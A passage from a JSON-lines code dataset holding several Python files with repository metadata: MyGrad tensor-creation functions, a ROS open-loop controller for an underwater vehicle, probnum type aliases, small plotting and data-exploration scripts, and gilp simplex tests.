Optional[DTypeLikeReals]\n        The data type of the output Tensor, or None to infer from the inputs.\n\n    axis : int, optional (default=0)\n        The axis in the result to store the samples - for array-like start/stop.\n\n    constant : Optional[bool]\n        If ``True``, this tensor is a constant, and thus does not facilitate\n        back propagation.\n\n        Defaults to ``False`` for float-type data.\n        Defaults to ``True`` for integer-type data.\n\n        Integer-type tensors must be constant.\n\n    Returns\n    -------\n    Tensor\n\n    References\n    ----------\n    .. [1] Retrieved from https://numpy.org/doc/stable/reference/generated/numpy.linspace.html\n\n    See Also\n    --------\n    arange : Similar to `linspace`, but uses a step size (instead of the\n             number of samples).\n    logspace : Samples uniformly distributed in log space.\n\n    Examples\n    --------\n    >>> import mygrad as mg\n    >>> mg.linspace(2.0, 3.0, num=5)\n    Tensor([ 2.  ,  2.25,  2.5 ,  2.75,  3.  ])\n    >>> mg.linspace(2.0, 3.0, num=5, endpoint=False)\n    Tensor([ 2. ,  2.2,  2.4,  2.6,  2.8])\n    \"\"\"\n    return Tensor(\n        np.linspace(\n            start,\n            stop,\n            num,\n            endpoint=endpoint,\n            dtype=dtype,\n            axis=axis,\n        ),\n        constant=constant,\n        copy=False,\n    )\n\n\ndef logspace(\n    start: ArrayLike,\n    stop: ArrayLike,\n    num: int = 50,\n    endpoint: bool = True,\n    base: Real = 10,\n    dtype: Optional[DTypeLikeReals] = None,\n    axis: int = 0,\n    *,\n    constant: Optional[bool] = None,\n) -> Tensor:\n    \"\"\"Return a Tensor with evenly-spaced numbers over a specified interval on a log scale.\n    This is not a differentiable function - it does not propagate gradients to its inputs.\n\n    In linear space, values are generated within [base**start, base**stop], with the endpoint\n    optionally excluded.\n\n    This docstring was adapted from ``numpy.logspace`` [1]_\n\n    Parameters\n    ----------\n    start : ArrayLike\n        The starting value of the sequence, inclusive; start at `base ** start`.\n\n    stop : ArrayLike\n        The ending value of the sequence, inclusive unless `include_endpoint` is False; end at\n        `base ** stop`.\n\n    num : int, optional (default=50)\n        The number of values to generate. Must be non-negative.\n\n    endpoint : bool, optional (default=True)\n        Whether to include the endpoint in the Tensor. Note that if False, the step size changes\n        to accommodate the sequence excluding the endpoint.\n\n    base : Real, optional (default=10)\n        The base of the log space.\n\n    dtype : Optional[DTypeLikeReals]\n        The data type of the output Tensor, or None to infer from the inputs.\n\n    axis : int, optional (default=0)\n        The axis in the result to store the samples - for array-like start/stop.\n\n    constant : Optional[bool]\n        If ``True``, this tensor is a constant, and thus does not facilitate\n        back propagation.\n\n        Defaults to ``False`` for float-type data.\n        Defaults to ``True`` for integer-type data.\n\n        Integer-type tensors must be constant.\n\n    Returns\n    -------\n    Tensor\n\n    See Also\n    --------\n    arange : Similar to linspace, with the step size specified instead of the\n             number of samples. Note that, when used with a float endpoint, the\n             endpoint may or may not be included.\n    linspace : Similar to logspace, but with the samples uniformly distributed\n               in linear space, instead of log space.\n    geomspace : Similar to logspace, but with endpoints specified directly.\n\n    References\n    ----------\n    .. [1] Retrieved from https://numpy.org/doc/stable/reference/generated/numpy.logspace.html\n\n    Examples\n    --------\n    >>> import mygrad as mg\n    >>> mg.logspace(2.0, 3.0, num=4)\n    Tensor([  100.        ,   215.443469  ,   464.15888336,  1000.        ])\n    >>> mg.logspace(2.0, 3.0, num=4, endpoint=False)\n    Tensor([ 100.        ,  177.827941  ,  316.22776602,  562.34132519])\n    >>> mg.logspace(2.0, 3.0, num=4, base=2.0)\n    Tensor([ 4.        ,  5.0396842 ,  6.34960421,  8.        ])\n\n    \"\"\"\n    return Tensor(\n        np.logspace(\n            start=start,\n            stop=stop,\n            num=num,\n            endpoint=endpoint,\n            base=base,\n            dtype=dtype,\n            axis=axis,\n        ),\n        constant=constant,\n        copy=False,\n    )\n\n\ndef geomspace(\n    start: ArrayLike,\n    stop: ArrayLike,\n    num=50,\n    endpoint=True,\n    dtype=None,\n    axis=0,\n    *,\n    constant: Optional[bool] = None,\n) -> Tensor:\n    \"\"\"Return a Tensor with evenly-spaced values in a geometric progression.\n\n    Each output sample is a constant multiple of the previous output.\n\n    This docstring was adapted from ``numpy.geomspace`` [1]_\n\n    Parameters\n    ----------\n    start : ArrayLike\n        The starting value of the output.\n\n    stop : ArrayLike\n        The ending value of the sequence, inclusive unless `endpoint` is false.\n\n    num : int, optional (default=50)\n        The number of values to generate. Must be non-negative.\n\n    endpoint : bool, optional (default=True)\n        Whether to include the endpoint in the Tensor. Note that if False, the step size changes\n        to accommodate the sequence excluding the endpoint.\n\n    dtype : Optional[DTypeLikeReals]\n        The data type of the output Tensor, or None to infer from the inputs.\n\n    axis : int, optional (default=0)\n        The axis in the result to store the samples - for array-like start/stop.\n\n    constant : Optional[bool]\n        If ``True``, this tensor is a constant, and thus does not facilitate\n        back propagation.\n\n        Defaults to ``False`` for float-type data.\n        Defaults to ``True`` for integer-type data.\n\n        Integer-type tensors must be constant.\n\n    Returns\n    -------\n    Tensor\n\n    References\n    ----------\n    .. [1] Retrieved from https://numpy.org/doc/stable/reference/generated/numpy.geomspace.html\n\n    See Also\n    --------\n    logspace : Similar to geomspace, but with endpoints specified using log\n               and base.\n    linspace : Similar to geomspace, but with arithmetic instead of geometric\n               progression.\n    arange : Similar to linspace, with the step size specified instead of the\n             number of samples.\n\n    Examples\n    --------\n    >>> import mygrad as mg\n    >>> mg.geomspace(1, 1000, num=4)\n    Tensor([    1.,    10.,   100.,  1000.])\n    >>> mg.geomspace(1, 1000, num=3, endpoint=False)\n    Tensor([   1.,   10.,  100.])\n    >>> mg.geomspace(1, 1000, num=4, endpoint=False)\n    Tensor([   1.        ,    5.62341325,   31.6227766 ,  177.827941  ])\n    >>> mg.geomspace(1, 256, num=9)\n    Tensor([   1.,    2.,    4.,    8.,   16.,   32.,   64.,  128.,  256.])\n\n    Note that the above may not produce exact integers:\n\n    >>> mg.geomspace(1, 256, num=9, dtype=int)\n    Tensor([  1,   2,   4,   7,  16,  32,  63, 127, 256])\n    >>> np.around(mg.geomspace(1, 256, num=9).data).astype(int)\n    array([  1,   2,   4,   8,  16,  32,  64, 128, 256])\n\n    Negative, and decreasing inputs are allowed:\n\n    >>> mg.geomspace(1000, 1, num=4)\n    Tensor([ 1000.,   100.,    10.,     1.])\n    >>> mg.geomspace(-1000, -1, num=4)\n    Tensor([-1000.,  -100.,   -10.,    -1.])\n    \"\"\"\n    return Tensor(\n        np.geomspace(\n            start=start,\n            stop=stop,\n            num=num,\n            endpoint=endpoint,\n            dtype=dtype,\n            axis=axis,\n        ),\n        constant=constant,\n        copy=False,\n    )\n", "meta": {"hexsha": "59076921f2e9f26be7869ba75959b63cb0f31cae", "size": 29185, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/mygrad/tensor_creation/funcs.py", "max_stars_repo_name": "kw-0/MyGrad", "max_stars_repo_head_hexsha": "307f1bb5f2391e7f4df49fe43a7acf9d1e8ea141", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 147, "max_stars_repo_stars_event_min_datetime": "2018-07-14T01:37:35.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-29T06:37:58.000Z", "max_issues_repo_path": "src/mygrad/tensor_creation/funcs.py", "max_issues_repo_name": "kw-0/MyGrad", "max_issues_repo_head_hexsha": "307f1bb5f2391e7f4df49fe43a7acf9d1e8ea141", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 223, "max_issues_repo_issues_event_min_datetime": "2018-05-31T14:13:18.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-27T18:53:49.000Z", "max_forks_repo_path": "src/mygrad/tensor_creation/funcs.py", "max_forks_repo_name": "kw-0/MyGrad", "max_forks_repo_head_hexsha": "307f1bb5f2391e7f4df49fe43a7acf9d1e8ea141", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 27, "max_forks_repo_forks_event_min_datetime": "2018-06-17T14:42:05.000Z", "max_forks_repo_forks_event_max_datetime": "2021-10-31T00:21:09.000Z", "avg_line_length": 28.6689587426, "max_line_length": 97, "alphanum_fraction": 0.6001370567, "include": true, "reason": "import numpy", "num_tokens": 7436, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11436853372838406, "lm_q1q2_score": 0.05718426686419203}}
{"text": "#!/usr/bin/env python3\n\n\"\"\"\n@author: Marcelo Fialho Jacinto\n@email: marcelo.jacinto@tecnico.ulisboa.pt\n@date: 30/03/2022\n@licence: MIT\n\"\"\"\nimport rospy\nimport numpy as np\nfrom std_msgs.msg import Float64\nfrom auv_msgs.msg import BodyForceRequest\n\nclass OpenLoopNode:\n    \"\"\"\n    Remote controller ROS node class. Receives from a joystick (using pygame) the desired controls for\n    the inner-loops and publishes these periodically (at a pre-defined frequency) to the inner-loops of the\n    vehicle\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"\n        Class constructor. Initializes the ros node, loads the parameters from the ros parameter server, creates the inner-loops\n        publishers and initializes the timer that publishes the desired inputs to the inner-loops\n        \"\"\"\n\n        # ---Initialize the ROS NODE---\n        rospy.init_node('open_loop_controller')\n\n        # --- Load parameters from the ROS parameter server\n        self.load_params()\n\n        # --- Initialize subscribers and publishers\n        self.initializeSubscribers()\n        self.initializePublishers()\n\n        self.h_timerActivate = False\n\n        # --- Desired variables to apply to the vehicle (NOTE: this is not speeds but rather forces and torques to applyt to the vehicle)\n        self.surge_desired = 0.0       # Fx (force on x-axis)\n        self.sway_desired = 0.0        # Fy (force on y-axis)\n        self.heave_desired = 0.0       # Fz (force on z-axis)\n        self.yaw_rate_desired = 0.0    # Tz (torque about the z-axis)\n\n        # Last time instant where a message with desired speeds was received\n        self.last_update = rospy.Time.now()\n        \n        # ---Start the ROS NODE callback---\n        self.initializeTimer()\n\n\n    def load_params(self):\n\n        # Read the node frequency\n        self.node_frequency = rospy.get_param('~node_frequency', 10)\n\n        # Read the configurations from the ros parameter server\n        self.gain_Fx = rospy.get_param('~gain_Fx')\n        self.gain_Fy = rospy.get_param('~gain_Fy')\n        self.gain_Fz = rospy.get_param('~gain_Fz')\n        self.gain_Tz = rospy.get_param('~gain_Tz')\n\n    def initializeSubscribers(self):\n        self.surge_sub = rospy.Subscriber(rospy.get_param('~topics/subscribers/surge_ref'), Float64, self.surgeCallback)\n        self.sway_sub = rospy.Subscriber(rospy.get_param('~topics/subscribers/sway_ref'), Float64, self.swayCallback)\n        self.heave_sub = rospy.Subscriber(rospy.get_param('~topics/subscribers/heave_ref'), Float64, self.heaveCallback)\n        self.yaw_rate_sub = rospy.Subscriber(rospy.get_param('~topics/subscribers/yaw_rate_ref'), Float64, self.yawRateCallback)\n    \n    def initializePublishers(self):\n        self.force_pub = rospy.Publisher(rospy.get_param('~topics/publishers/body_force_request'), BodyForceRequest, queue_size=1)\n\n    def timerCallback(self, event):\n        \"\"\"\n        Callback used to publish to the inner-loops the desired control inputs\n        :param event: A timer event - unused but required by the ROS API\n        \"\"\"\n\n        # Scale the desired input (surge, sway, heave and yaw-rate to some force and torque)\n        output_msg = BodyForceRequest()\n        output_msg.header.stamp = rospy.Time.now()\n\n        output_msg.wrench.force.x = self.gain_Fx * self.surge_desired\n        output_msg.wrench.force.y = self.gain_Fy * self.sway_desired\n        output_msg.wrench.force.z = self.gain_Fz * self.heave_desired\n\n        output_msg.wrench.torque.x = 0.0\n        output_msg.wrench.torque.y = 0.0\n        output_msg.wrench.torque.z = self.gain_Tz * self.yaw_rate_desired\n        \n        self.force_pub.publish(output_msg)\n\n        \n    # ---- Callbacks section ----\n\n    def surgeCallback(self, msg: Float64):\n        self.surge_desired = float(msg.data)\n        self.last_update = rospy.Time.now()\n\n    def swayCallback(self, msg: Float64):\n        self.sway_desired = float(msg.data)\n        self.last_update = rospy.Time.now()\n\n    def heaveCallback(self, msg: Float64):\n        self.heave_desired = float(msg.data)\n        self.last_update = rospy.Time.now()\n\n    def yawRateCallback(self, msg: Float64):\n        self.yaw_rate_desired = float(msg.data)\n        self.last_update = rospy.Time.now()\n       \n    def initializeTimer(self):\n        \"\"\"\n        Method that starts the system timer that periodically calls a callback\n        \"\"\"\n        self.timer = rospy.Timer(rospy.Duration(1.0 / self.node_frequency), self.timerCallback)\n\ndef main():\n    \"\"\"\n    Initialize the RemoteControllerNode and let the timer callback do all the work\n    \"\"\"\n    open_loop_controller = OpenLoopNode()\n    rospy.spin()\n\nif __name__ == '__main__':\n    main()\n\n\n\n", "meta": {"hexsha": "50a02d49a2e6e5d60f88bee4f60316b09c6cdfe9", "size": 4672, "ext": "py", "lang": "Python", "max_stars_repo_path": "medusa_control/inner_loops_controllers/open_loop_controller/src/open_loop_controller/OpenLoopNode.py", "max_stars_repo_name": "dsor-isr/medusa_base", "max_stars_repo_head_hexsha": "a64bfe87d0d826a365c2d01071c6ac70e38928e3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "medusa_control/inner_loops_controllers/open_loop_controller/src/open_loop_controller/OpenLoopNode.py", "max_issues_repo_name": "dsor-isr/medusa_base", "max_issues_repo_head_hexsha": "a64bfe87d0d826a365c2d01071c6ac70e38928e3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-02-21T16:50:47.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-21T16:50:47.000Z", "max_forks_repo_path": "medusa_control/inner_loops_controllers/open_loop_controller/src/open_loop_controller/OpenLoopNode.py", "max_forks_repo_name": "dsor-isr/medusa_base", "max_forks_repo_head_hexsha": "a64bfe87d0d826a365c2d01071c6ac70e38928e3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2022-02-02T11:00:14.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-01T08:42:05.000Z", "avg_line_length": 36.2170542636, "max_line_length": 137, "alphanum_fraction": 0.6699486301, "include": true, "reason": "import numpy", "num_tokens": 1098, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11436853221906972, "lm_q1q2_score": 0.05718426610953486}}
{"text": "\"\"\"Custom type aliases.\n\nThis module defines commonly used types in the library. These are separated into two\ndifferent kinds, API types and argument types.\n\nAPI types are aliases which define custom types used throughout the library. Objects of\nthis type may be supplied as arguments or returned by a method.\n\nArgument types are aliases which define commonly used method arguments. These should\nonly ever be used in the signature of a method and then be converted internally, e.g.\nin a class instantiation or an interface. They enable the user to conveniently\nspecify a variety of object types for the same argument, while ensuring a unified\ninternal representation of those same objects.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport numbers\nfrom typing import Iterable, Tuple, Union\n\nimport numpy as np\nimport scipy.sparse\nfrom numpy.typing import ArrayLike as _NumPyArrayLike\nfrom numpy.typing import DTypeLike as _NumPyDTypeLike\n\n########################################################################################\n# API Types\n########################################################################################\n\n# Array Utilities\nShapeType = Tuple[int, ...]\n\n# Scalars, Arrays and Matrices\nScalarType = np.ndarray\nMatrixType = Union[np.ndarray, \"probnum.linops.LinearOperator\"]\n\n########################################################################################\n# Argument Types\n########################################################################################\n\n# Python Numbers\nIntLike = Union[int, numbers.Integral, np.integer]\n\"\"\"Type of a public API argument for supplying an integer.\n\nValues of this type should always be converted into :class:`int`\\\\ s before further\ninternal processing.\"\"\"\n\nFloatLike = Union[float, numbers.Real, np.floating]\n\"\"\"Type of a public API argument for supplying a float.\n\nValues of this type should always be converteg into :class:`float`\\\\ s before further\ninternal processing.\"\"\"\n\n# Array Utilities\nShapeLike = Union[IntLike, Iterable[IntLike]]\n\"\"\"Type of a public API argument for supplying a shape.\n\nValues of this type should always be converted into :class:`ShapeType` using the\nfunction :func:`probnum.utils.as_shape` before further internal processing.\"\"\"\n\nDTypeLike = _NumPyDTypeLike\n\"\"\"Type of a public API argument for supplying an array's dtype.\n\nValues of this type should always be converted into :class:`np.dtype`\\\\ s before further\ninternal processing.\"\"\"\n\n_ArrayIndexLike = Union[\n    int,\n    slice,\n    type(Ellipsis),\n    None,\n    np.newaxis,\n    np.ndarray,\n]\nArrayIndicesLike = Union[_ArrayIndexLike, Tuple[_ArrayIndexLike, ...]]\n\"\"\"Type of the argument to the :meth:`__getitem__` method of a NumPy-like array type\nsuch as :class:`np.ndarray`, :class:`probnum.linops.LinearOperator` or\n:class:`probnum.randvars.RandomVariable`.\"\"\"\n\n# Scalars, Arrays and Matrices\nScalarLike = Union[int, float, complex, numbers.Number, np.number]\n\"\"\"Type of a public API argument for supplying a scalar value.\n\nValues of this type should always be converted into :class:`np.number`\\\\ s using the\nfunction :func:`probnum.utils.as_scalar` before further internal processing.\"\"\"\n\nArrayLike = _NumPyArrayLike\n\"\"\"Type of a public API argument for supplying an array.\n\nValues of this type should always be converted into :class:`np.ndarray`\\\\ s using\nthe function :func:`np.asarray` before further internal processing.\"\"\"\n\nLinearOperatorLike = Union[\n    ArrayLike,\n    scipy.sparse.spmatrix,\n    \"probnum.linops.LinearOperator\",\n]\n\"\"\"Type of a public API argument for supplying a finite-dimensional linear operator.\n\nValues of this type should always be converted into :class:`probnum.linops.\\\\\nLinearOperator`\\\\ s using the function :func:`probnum.linops.aslinop` before further\ninternal processing.\"\"\"\n\n########################################################################################\n# Other Types\n########################################################################################\n\nNotImplementedType = type(NotImplemented)\n", "meta": {"hexsha": "10cee6d1a5130279554119c027948671bd047169", "size": 4006, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/probnum/typing.py", "max_stars_repo_name": "pitmonticone/probnum", "max_stars_repo_head_hexsha": "1fed705b2443a14d08419e16f98f6ef815ae9ffa", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-30T20:16:13.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T20:16:13.000Z", "max_issues_repo_path": "src/probnum/typing.py", "max_issues_repo_name": "pitmonticone/probnum", "max_issues_repo_head_hexsha": "1fed705b2443a14d08419e16f98f6ef815ae9ffa", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/probnum/typing.py", "max_forks_repo_name": "pitmonticone/probnum", "max_forks_repo_head_hexsha": "1fed705b2443a14d08419e16f98f6ef815ae9ffa", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.752293578, "max_line_length": 88, "alphanum_fraction": 0.6697453819, "include": true, "reason": "import numpy,from numpy,import scipy", "num_tokens": 790, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11436852316318395, "lm_q1q2_score": 0.057184261581591976}}
{"text": "\"\"\"\nRetour sur la discr\u00e9tisation des variables quantitatives\n----------------------------------------------------------------\nLes m\u00e9thodes de discr\u00e9tisation les plus courantes sont disponibles sous Geopandas (quantile, intervalle \u00e9gal, Jenks). La discr\u00e9tisation dite de Jenks qui recherche \u00e0 construire des classes les plus homog\u00e8nes possibles est en g\u00e9n\u00e9rale la plus pertinente. N\u00e9anmoins, ce n'est pas toujours le cas, comme en t\u00e9moigne les cartes suivantes de densit\u00e9 de population d\u00e9partementale.\n\"\"\"\n# sphinx_gallery_thumbnail_number = 3\nimport pandas as pd\nimport geopandas as gpd\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n###############################################################################\n# Lecture des donn\u00e9es\n# ================================\n#\n# On ouvre le fond du b\u00e2ti de la ville de Caen.\n\n", "meta": {"hexsha": "65b3c5b1554e45a80ac28c23ce877693a7c23246", "size": 827, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/discretisation.py", "max_stars_repo_name": "JulieDjidji/memocarto", "max_stars_repo_head_hexsha": "2984cc0855aea28c2f2f131e9474638bac6b2797", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-11-13T11:01:38.000Z", "max_stars_repo_stars_event_max_datetime": "2020-11-13T11:01:38.000Z", "max_issues_repo_path": "examples/discretisation.py", "max_issues_repo_name": "JulieDjidji/memocarto", "max_issues_repo_head_hexsha": "2984cc0855aea28c2f2f131e9474638bac6b2797", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/discretisation.py", "max_forks_repo_name": "JulieDjidji/memocarto", "max_forks_repo_head_hexsha": "2984cc0855aea28c2f2f131e9474638bac6b2797", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.9444444444, "max_line_length": 374, "alphanum_fraction": 0.6311970979, "include": true, "reason": "import numpy", "num_tokens": 177, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.44167302036300954, "lm_q2_score": 0.12940273830655932, "lm_q1q2_score": 0.05715369827110217}}
{"text": "#!/usr/bin/env python3\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nplt.title('Un primo plot con Python')\nplt.xlabel('Tc')\nplt.ylabel('Tf')\nx, y = np.loadtxt('temp.dat', unpack=True)\nplt.plot(x, y, 'x', label='Temperature caricate da file')\nplt.xlim(-10, 50)\nplt.ylim(10, 125)\nplt.show()\n", "meta": {"hexsha": "25584691c047025a03ba84efeba60d2b1c3a9df0", "size": 296, "ext": "py", "lang": "Python", "max_stars_repo_path": "esercitazioni201920-Livia/EX1/ex1_2.py", "max_stars_repo_name": "lsoffi/EsperienzeDiLaboratorioDiCalcolo201920", "max_stars_repo_head_hexsha": "7a2a821b37cc8dfca527e9afb639a86a8e6c759b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-10-18T10:03:58.000Z", "max_stars_repo_stars_event_max_datetime": "2019-10-18T10:03:58.000Z", "max_issues_repo_path": "esercitazioni201920-Livia/EX1/ex1_2.py", "max_issues_repo_name": "lsoffi/EsperienzeDiLaboratorioDiCalcolo201920", "max_issues_repo_head_hexsha": "7a2a821b37cc8dfca527e9afb639a86a8e6c759b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "esercitazioni201920-Livia/EX1/ex1_2.py", "max_forks_repo_name": "lsoffi/EsperienzeDiLaboratorioDiCalcolo201920", "max_forks_repo_head_hexsha": "7a2a821b37cc8dfca527e9afb639a86a8e6c759b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.1428571429, "max_line_length": 57, "alphanum_fraction": 0.6959459459, "include": true, "reason": "import numpy", "num_tokens": 88, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44167300566462553, "lm_q2_score": 0.1294027215192593, "lm_q1q2_score": 0.05715368895459377}}
{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jul 11 19:41:15 2018\r\n@author: Moseli Motsoehli\r\nTitle: Satander starter\r\n\"\"\"\r\n###########################libraries################################\r\n####################################################################\r\nimport pandas as pd\r\nimport numpy as np\r\nimport seaborn as sb\r\n\r\nfrom sklearn.model_selection import train_test_split as tts\r\n\r\n####################################################################\r\n###########################configs##################################\r\ndata_location = \"E:/ML Personal/setander/\"\r\nval_size = 0.2\r\n\r\n\r\n####################################################################\r\n#########################Data Exploration###########################\r\ndata=pd.read_csv(data_location+\"train.csv\")\r\n\r\n\r\ndata.head(2)\r\n\r\n\r\nfeatures=[k for k in data]\r\nprint('Missing Values in each feature')\r\nfor feat in features:\r\n    print('%s: %s'%(feat,data[feat].isnull().sum()))\r\n    #print('%s: %s'%(feat,sum(data[feat])))\r\n\r\n####################################################################\r\n#########################Healper Functions###########################\r\n\r\n", "meta": {"hexsha": "ba5545fc082c7289dba086ef554f6492af6d3fbd", "size": 1139, "ext": "py", "lang": "Python", "max_stars_repo_path": "starter.py", "max_stars_repo_name": "DeepsMoseli/Santander-Value-Prediction", "max_stars_repo_head_hexsha": "babb5390ebb9d6f0e342cbd5961cb01199602995", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "starter.py", "max_issues_repo_name": "DeepsMoseli/Santander-Value-Prediction", "max_issues_repo_head_hexsha": "babb5390ebb9d6f0e342cbd5961cb01199602995", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "starter.py", "max_forks_repo_name": "DeepsMoseli/Santander-Value-Prediction", "max_forks_repo_head_hexsha": "babb5390ebb9d6f0e342cbd5961cb01199602995", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-04-03T12:21:17.000Z", "max_forks_repo_forks_event_max_datetime": "2019-04-03T12:21:17.000Z", "avg_line_length": 29.9736842105, "max_line_length": 70, "alphanum_fraction": 0.3766461809, "include": true, "reason": "import numpy", "num_tokens": 197, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.44167300566462564, "lm_q2_score": 0.12940271984052937, "lm_q1q2_score": 0.057153688213144094}}
{"text": "import pytest\nfrom pytest import warns\nimport mock\nimport numpy as np\nimport gilp\nfrom gilp.simplex import (InvalidBasis, Infeasible, InfeasibleBasicSolution,\n                          UnboundedLinearProgram, _invertible, _phase_one,\n                          _simplex_iteration, branch_and_bound_iteration, BFS)\n\n\nclass TestLP:\n\n    def test_init_exceptions(self):\n        with pytest.raises(ValueError, match='.*b should have one of .*'):\n            A = np.array([[1,0],[0,1]])\n            b = np.array([[1],[2],[3]])\n            c = np.array([[1],[2]])\n            gilp.LP(A,b,c)\n        with pytest.raises(ValueError, match='.*c should have one of .*'):\n            A = np.array([[1,0],[0,1]])\n            b = np.array([[1],[2]])\n            c = np.array([[1],[2],[3]])\n            gilp.LP(A,b,c)\n\n    @pytest.mark.parametrize(\"lp,n,m,A,b,c,equality\",[\n        (gilp.LP(np.array([[1,2],[3,0]]),\n                 np.array([3,4]),\n                 np.array([1,2])),\n         2,2,\n         np.array([[1,2],[3,0]]),\n         np.array([[3],[4]]),\n         np.array([[1],[2]]),\n         False),\n        (gilp.LP(np.array([[1,2,3],[3,0,1]]),\n                 np.array([[3],[4]]),\n                 np.array([[1],[2],[3]]),\n                 equality=True),\n         3,2,\n         np.array([[1,2,3],[3,0,1]]),\n         np.array([[3],[4]]),\n         np.array([[1],[2],[3]]),\n         True)])\n    def test_init(self,lp,n,m,A,b,c,equality):\n        actual = lp.get_coefficients(equality=equality)\n        assert n == actual[0]\n        assert m == actual[1]\n        assert (A == actual[2]).all()\n        assert (b == actual[3]).all()\n        assert (c == actual[4]).all()\n        assert (equality == lp.equality)\n\n    def test_get_bfs(self, degenerate_lp):\n        lp = degenerate_lp\n        bfs = np.array([[2],[4],[0],[0],[4],[1],[0]])\n        assert (bfs == lp.get_basic_feasible_sol([0,1,4,5,6]).x).all()\n        assert (bfs == lp.get_basic_feasible_sol([0,1,2,4,5]).x).all()\n        assert (bfs == lp.get_basic_feasible_sol([0,1,3,4,5]).x).all()\n        with pytest.raises(InvalidBasis):\n            lp.get_basic_feasible_sol([1,2,3,4])\n        with pytest.raises(InvalidBasis):\n            lp.get_basic_feasible_sol([0,1,2,4,5,6])\n        with pytest.raises(InfeasibleBasicSolution):\n            lp.get_basic_feasible_sol([0,1,2,3,5])\n\n    def test_get_all_bfs(self):\n        A = np.array([[1,1],[-2,1]])\n        b = np.array([[6],[0]])\n        c = np.array([[1],[1]])\n        lp = gilp.LP(A,b,c)\n        bfs = [np.array([[2],[4],[0],[0]]),\n               np.array([[0],[0],[6],[0]]),\n               np.array([[6],[0],[0],[12]]),\n               np.array([[0],[0],[6],[0]]),\n               np.array([[0],[0],[6],[0]])]\n        bases = [[0,1],[0,2],[0,3],\n                 [1,2],[2,3]]\n        values = [6,0,6,0,0]\n        optimal = [False]*5\n        actual = lp.get_basic_feasible_solns()\n        actual_bfs = [x.x for x in actual]\n        actual_bases = [x.B for x in actual]\n        actual_values = [x.obj_val for x in actual]\n        actual_optimal = [x.optimal for x in actual]\n\n        assert all(np.allclose(x,y,atol=1e-7) for x,y in zip(bfs, actual_bfs))\n        assert bases == actual_bases\n        assert values == actual_values\n        assert optimal == actual_optimal\n\n    def test_tableau(self, degenerate_lp):\n        T = np.array([[1,0,0,1,1,0,0,0,10],\n                      [0,1,0,1,-1,0,0,0,2],\n                      [0,0,1,0,1,0,0,0,4],\n                      [0,0,0,-1,2,1,0,0,4],\n                      [0,0,0,-1,1,0,1,0,1],\n                      [0,0,0,2,-3,0,0,1,0]])\n        assert (T == degenerate_lp.get_tableau([0,1,4,5,6])).all()\n        with pytest.raises(InvalidBasis):\n            degenerate_lp.get_tableau([1,2,3])\n\n\nclass TestSimplexIteration:\n\n    def test_bad_inputs(self, klee_minty_3d_lp):\n        bfs = BFS(x=np.array([[5],[5],[0],[0],[0],[65]]),\n                  B=[0,1,5],\n                  obj_val=95,\n                  optimal=False)\n        with pytest.raises(ValueError,match='Invalid pivot rule.*'):\n            _simplex_iteration(lp=klee_minty_3d_lp,\n                               bfs=bfs,\n                               pivot_rule='invalid')\n        with pytest.raises(ValueError,match='x should have 